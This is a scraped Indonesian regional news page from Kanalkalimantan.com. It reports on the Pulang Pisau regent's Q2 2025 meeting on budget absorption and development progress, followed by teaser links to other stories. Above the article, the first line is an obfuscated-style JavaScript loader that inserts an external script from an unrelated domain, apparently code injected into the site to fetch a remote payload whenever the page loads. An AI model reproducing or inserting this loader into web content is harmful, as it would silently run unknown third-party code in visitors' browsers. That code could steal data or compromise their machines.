(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PULANG PISAU – Bupati Pulang Pisau Kalimantan Tengah H Ahmad Rifa’i memimpin langsung Rapat Koordinasi Pengendalian dan Evaluasi (Rakordalev) Triwulan II tahun anggaran 2025 di aula Bapperida Kabupaten Pulang Pisau, Selasa (15/7/2025).
Bupati Ahmad Rifa’i menyampaikan bahwa Rakordalev ini merupakan forum strategis untuk mengevaluasi hasil pelaksanaan program dan kegiatan pembangunan yang telah berjalan selama triwulan kedua. Tujuan utama forum ini adalah mengidentifikasi hambatan dalam pelaksanaan kegiatan serta penyerapan anggaran agar dapat dirumuskan solusi bersama demi perbaikan pada triwulan berikutnya.
Menurut Bupat Pulang Pisau, hingga 30 Juni 2025 realisasi keuangan Kabupaten Pulang Pisau tercatat mencapai 32,21 persen, sementara realisasi fisik sebesar 35,21 persen. Dia mengakui bahwa capaian ini masih belum maksimal sebagaimana harapan, karena salah satunya terhambat oleh terbitnya Instruksi Presiden Nomor 1 Tahun 2025 tentang efisiensi belanja dalam pelaksanaan APBN dan APBD yang menyebabkan keterlambatan pelaksanaan sejumlah kegiatan.
“Perlu strategi dan persiapan yang matang untuk mengoptimalkan penyerapan anggaran pada APBD perubahan 2025, agar target realisasi bisa tercapai secara maksimal pada akhir tahun,” jelas Ahmad Rifa’i.
Baca juga: Farm Field Day Bersama Wali Kota Lisa Halaby, Poktan Kurnia Makmur Minta Dukungan Pengairan
Selain evaluasi penyerapan anggaran, Bupati Ahmad Rifa’i menekankan pentingnya pencapaian kinerja pembangunan berdasarkan indikator yang telah ditetapkan. Evaluasi dilakukan dengan membandingkan capaian aktual terhadap target, serta merumuskan langkah tindak lanjut untuk meningkatkan kualitas pembangunan.
Pada kesempatan tersebut, Bupati bersama Wakil Bupati H Ahmad Jayadikarta juga menegaskan pentingnya mendukung produk dalam negeri, UMKM, dan koperasi lokal. Hal ini sesuai dengan amanat Undang-Undang Cipta Kerja dan Peraturan Pemerintah Nomor 7 Tahun 2021 yang mewajibkan minimal 40 persen anggaran pengadaan dialokasikan untuk produk dan pelaku usaha lokal.
Melalui Rakordalev ini, Pemerintah Kabupaten Pulang Pisau berharap sinergi antar perangkat daerah semakin kuat dalam mendukung pembangunan yang efektif, efisien, dan berpihak kepada masyarakat lokal. (Kanalkalimantan.com/bahrawi)
Reporter: bahrawi
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
This website uses cookies.